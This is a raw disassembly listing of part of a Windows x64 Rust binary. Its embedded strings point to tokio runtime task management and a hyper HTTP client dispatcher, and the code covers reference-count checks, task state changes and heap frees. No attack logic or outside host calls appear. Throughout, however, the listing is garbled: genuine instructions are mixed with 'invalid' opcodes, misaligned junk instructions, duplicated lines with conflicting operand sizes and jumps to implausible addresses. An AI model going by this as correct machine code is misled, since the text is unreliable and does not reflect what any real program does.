mov edi, 0x48000d9a
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], 1
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
sub byte [rax - 0x77], cl
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x20]
call fcn.1401224d0
int3
and byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x687bf0f8], ch
add dword [rax], eax
add byte [rax + 0x48137502], ch
mov ecx, eax
test al, 8
je 0x14009062f
test al, 2
jne 0x1400904af
mov rcx, rax
and rcx, 0xfffffffffffffff5
lock cmpxchg qword [rsi], rcx
jne 0x140090490
jmp 0x1400905b0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400904db
xorps xmm6, xmm6
cmp eax, 1
je 0x140090508
jmp 0x140090534
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068da0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400905b0
cmp eax, 1
je 0x140090596
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140090647
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140090622
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400905e3
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140090602
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x140167fe8]
mov edx, 0x2b
call fcn.140122660
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
push rax
xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400906d6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400906cf
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
or byte [rbp + 9], dh
or byte [rbp + 9], dh
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x1400906b6
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jno 0x1400906ba
or dword [rax], eax
jno 0x1400906ba
or dword [rax], eax
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
invalid
or dword [rax], eax
int3
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x140090710
test cl, 3
je 0x1400907a0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe case.0x140057a1f.205
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400907cc
jne 0x1400907cc
jle 0x140090797
mov rax, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
lock dec qword [rax]
jne 0x140090761
lea rcx, [rsi + 0x20]
call fcn.14002ded0
outsd dx, dword [rsi]
xlatb
stc
invalid
outsd dx, dword [rsi]
xlatb
stc
dec dword [rax - 0x73]
lea rcx, [rsi + 0x30]
call fcn.140068da0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140090780
xor al, r13b
xchg ch, bh
dec dword [rax - 0x75]
xchg al, ch
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
invalid
invalid
mov rcx, qword [rsi + 0xf0]
mov ecx, dword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400907d9
xorps xmm6, xmm6
cmp eax, 1
invalid
je 0x140090806
add dword [rsp + rdi - 0x15], esi
movapd xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
jmp 0x140090832
movaps xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
adc eax, 0x70776
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068da0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400908c9
cmp eax, 1
je case.0x14004b6c6.260
add dword [rbp + rbp - 0x75], esi
add eax, 0x10ea9c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
nop
mov dword [0x1688cce97], 0x1000001
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x1400908d0
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
push rdi
invalid
push rdi
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.140068da0
mov qword [rsi + 0x30], 2
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14009095f
cmp eax, 1
je 0x140090945
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
jmp 0x1886e0930
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
lea rcx, [rdi + 0xd8]
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
sub byte [rsp + 0x20], dh
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x140081510
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
add byte [rax], al
invalid
ja 0x140090986
ja 0x140090986
add byte [rbp + rcx*4 + 5], cl
ja 0x14009098d
add byte [rdx + 0x27], bh
add byte [rax], al
add al, ch
call fcn.140122660
int3
invalid
int3
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x250
movaps xmmword [rsp + 0x240], xmm6
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov rsi, rcx
mov rsi, rcx
mov esi, ecx
mov rax, qword [rcx]
jmp case.default.0x140090a05
nop
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
ret 0xeac0
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je 0x1400909f4
test al, 4
je 0x140090d6d
test al, 3
je 0x1400909b0
cmp rax, 0x3f
jbe 0x140090d85
invalid
clc
invalid
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
cmp rcx, 0x40
setb dl
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
retf 0xf002
cmpxchg qword [rsi], rcx
jne case.default.0x140090a05
movzx eax, dl
lea rcx, [0x14019453c]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
cmp edx, dword ds:[rax]
cmp edx, dword [rax]
add byte [rax + 0x63], cl
add al, 0x81
invalid
add rax, rcx
jmp rax
lea rax, [0x14016a168]
pop rdx
xchg edi, eax
or eax, 0x44894800
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x28]
xor byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
mov eax, dword [rsi + 0x30]
not eax
test al, 6
invalid
je 0x140090dcd
nop
add eax, dword [rax]
invalid
invalid
nop
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rdi, [rsi + 0x30]
jle 0x140090a71
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rax], 1
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x140090b14
invalid
mov al, 0
add byte [rax], al
test byte [rax + 0x48000000], dh
mov ebx, dword [rsi + 0x28]
invalid
mov rbx, qword [rsi + 0x28]
sub byte [rbx + 0x2e7401f8], al
cmp eax, 1
je 0x140090a9b
mov eax, dword [0x14019f30c]
add eax, 0x10e899
cdq
call 0x1886e0a85
mov ecx, dword [0x58]
invalid
adc byte [rax], al
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
fadd dword [rax]
add byte [rax], al
invalid
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
adc eax, 0x704e2
add al, 7
invalid
lea rdx, [0x140100f70]
add al, 7
add al, ch
invalid
call fcn.1400ed020
mov byte [r14 + 0x128], 1
add dword [rbx + 0x10e86b05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
invalid
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
jmp 0x140090b17
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x58], 7
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x58
pop rax
pop rax
mov rcx, rdi
call fcn.140069050
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x68
and al, 0x68
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x58], 6
mov dword [rsp + 0x58], 6
mov dword [rsp + 0x58], 6
lea rdx, [rsp + 0x58]
mov rcx, rdi
jmp 0x140090d16
xorps xmm6, xmm6
test byte [rbp + rcx*4 + 0x74], 0x24
cmp byte [rax - 0x77], cl
stc
lea r14, [rsp + 0x38]
mov rcx, rdi
mov rdx, r14
call fcn.14009e480
mov ecx, dword [0x14019f30c]
out 0x10, eax
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
je 0x140090b97
cmp ecx, 1
je 0x140090b7d
mov ebx, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
lodsd eax, dword [rsi]
invalid
invalid
invalid
mov byte [r15 + 0x128], 1
mov eax, ebx
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
lea rbx, [rsi + 0x20]
test al, al
je 0x140090ce6
mov rax, qword [rsi]
lea rcx, [rsp + 0x58]
pop rax
pop rax
nop dword [rax + rax]
test al, 1
je 0x140090d9d
test al, 0x20
jne 0x140090bf0
jne 0x140090c10
cmp rax, 0x3f
jbe 0x140090d85
invalid
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
jmp 0x140090c20
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x58], 1
invalid
je case.default.0x140090c58
add dword [rsp + rsi - 0x15], esi
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
jmp 0x140090c46
add byte [rax - 0x7b], cl
ror byte [rdi], 0x88
pushfq
add dword [rax], eax
add byte [rax - 0x7d], cl
ret 0x4140
test rax, rax
js 0x140090db5
add rdx, 0x40
mov r8b, 1
invalid
add dword [rax - 0x39], ecx
and al, 0x58
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 1
mov r9, r14
mov ecx, esi
mov qword [r9], rdx
cmp dword [rsp + 0x58], 1
jne 0x140090c46
mov rdx, qword [rsp + 0x38]
lock cmpxchg qword [rsi], rdx
invalid
jne 0x140090bb0
movzx eax, r8b
lea rcx, [0x14019454c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
jbe 0x140090e05
clc
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140090c58.0
mov rax, qword [rbx]
mov eax, dword [rbx]
lock dec qword [rax]
jne case.0x14008ce68.43
or byte [rbp + 8], dh
mov rcx, rbx
mov ecx, ebx
call fcn.14002ded0
mov rcx, rdi
jmp 0x140090cb6
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140090cb2
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007d4a0
mov rax, qword [rsi + 0x228]
test rax, rax
test eax, eax
je 0x140090cd1
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
invalid
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
pop rax
pop rax
mov rcx, rbx
call fcn.140069050
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 6
lea rdx, [rsp + 0x58]
invalid
mov rcx, rbx
call fcn.140069050
mov rcx, rsi
call 0x14007f1b0
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x250
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add byte [rax - 0x7f], cl
invalid
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
sbb eax, 0xba000d74
add byte es:[rax], al
add al, ch
ret
sbb byte [rcx], cl
invalid
sbb eax, 0xba000d74
add byte es:[rax], al
add al, ch
ret
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
or dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
invalid
or dword [rax], eax
int3
lea rcx, [rsi + 0x30]
call fcn.14007d4a0
mov rax, qword [rsi + 0x228]
xchg byte [rax], ch
add al, byte [rax]
invalid
xchg byte [rax], ch
add al, byte [rax]
add byte [rax - 0x7b], cl
test rax, rax
je 0x140090e5a
invalid
invalid
invalid
test rax, rax
je 0x140090e5a
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
in al, dx
adc byte [rdx], al
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx]
nop
test al, 8
je case.0x14006ba56.156
test al, 2
jne 0x140090eac
mov rcx, rax
and rcx, 0xfffffffffffffff5
lock cmpxchg qword [rsi], rcx
jne 0x140090e90
jmp 0x140090ec3
invalid
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 7
and al, 0x28
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x28
and al, 0x28
invalid
push rsp
and al, 0x28
call fcn.140069050
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd qword [rsi], rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140090f4f
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140090f2d
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140090ef2
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007d4a0
movsd dword [rdi], dword [rsi]
invalid
invalid
dec dword [rax - 0x75]
xchg byte [rax], ch
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
je 0x140090f11
movsd dword [rdi], dword [rsi]
invalid
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x210
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x210
add byte [rsi - 0x3d], bl
add byte [rsi - 0x3d], bl
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x140167fe8]
add byte [rdx + 0x2b], bh
add byte [rdx + 0x2b], bh
add byte [rax], al
add al, ch
adc dword [rdi], edx
or dword [rax], eax
call fcn.140122660
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
add byte [rbp + rcx*4 + 5], cl
mov esi, dword [rcx + 0xd]
add byte [rdx + 0x27], bh
call fcn.140122660
int3
invalid
in al, dx
and byte [rax - 0x39], cl
rol al, 0xff
invalid
invalid
invalid
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
in al, 9
invalid
in al, 9
add byte [rax + 0x20c48348], dl
pop rsi
ret
lea ecx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
hlt
jo 0x140091000
add byte [rdx + 0x27], bh
call fcn.140122660
int3
hlt
rol al, 0xff
invalid
invalid
invalid
add al, byte [rax]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [0x14019f258]
add byte [rcx], dh
ror byte [rax - 0x7f], cl
invalid
or byte [rdx], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x7f], cl
invalid
or byte [rdx], al
add byte [rax], al
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea edx, [rsp + 0x20]
mov rcx, rdi
call fcn.140069050
mov rcx, rsi
add rsp, 0x208
pop rdi
pop rsi
jmp 0x14007f1b0
ret
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
loop 0x140091163
lock cmpxchg qword [rsi], rcx
je 0x140091194
test al, 4
je 0x140091908
test al, 3
je 0x140091150
cmp rax, 0x3f
jbe 0x140091920
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140091169
movzx eax, dl
lea rcx, [0x14019455c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0xa0], rax
add byte [rax - 0x77], cl
mov ah, 0x24
test al, 0
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
test al, 0
add byte [rax], al
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 0
add byte [rax], al
cmp dword [rsi + 0x30], 1
ja 0x140091968
mov eax, dword [0x14019f30c]
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x1400913ed
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x140091245
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x6fd37
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
sub byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov ebp, 0x83c60005
sub byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r12, qword [rax + 0xf8]
mov r15, qword [rax + 0x100]
mov edi, dword [rax + 0x100]
mov edi, dword [rax + 0x100]
mov eax, 0x100
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
movzx eax, byte [rsi + 0xd0]
add byte [rax], al
add byte [rbp + 0x78840fc0], al
add dword [rax], eax
invalid
add byte [rax], al
add byte [rbp + 0x78840fc0], al
add dword [rax], eax
add byte [rbx - 0x7bf0fc08], al
add dword [rax], eax
add dword [rax], eax
cmp eax, 3
je 0x140091487
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xc7b05
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rs
call fcn.140122c50
mov al, 0x19
or dword [rax], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
invalid
je 0x140091323
add dh, byte [rsp + riz*2 + 0x48]
mov edi, dword [rsi + 0x28]
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x1400912f5
mov eax, dword [0x14019f30c]
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
sbb al, 0xc1
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
adc byte [rax + 0xf8], dh
adc byte [rax + 0xf8], dh
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
mov eax, 0x100
add byte [rcx], al
add byte [rax], al
jmp 0x140091326
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
stc
stc
call fcn.140068da0
mov qword [rsi + 0x30], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400913bd
cmp eax, 1
je 0x14009138b
sub eax, 0xdfa8058b
adc byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rax], al
add dword [rbx + 0x10df7b05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x1400913c4
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068da0
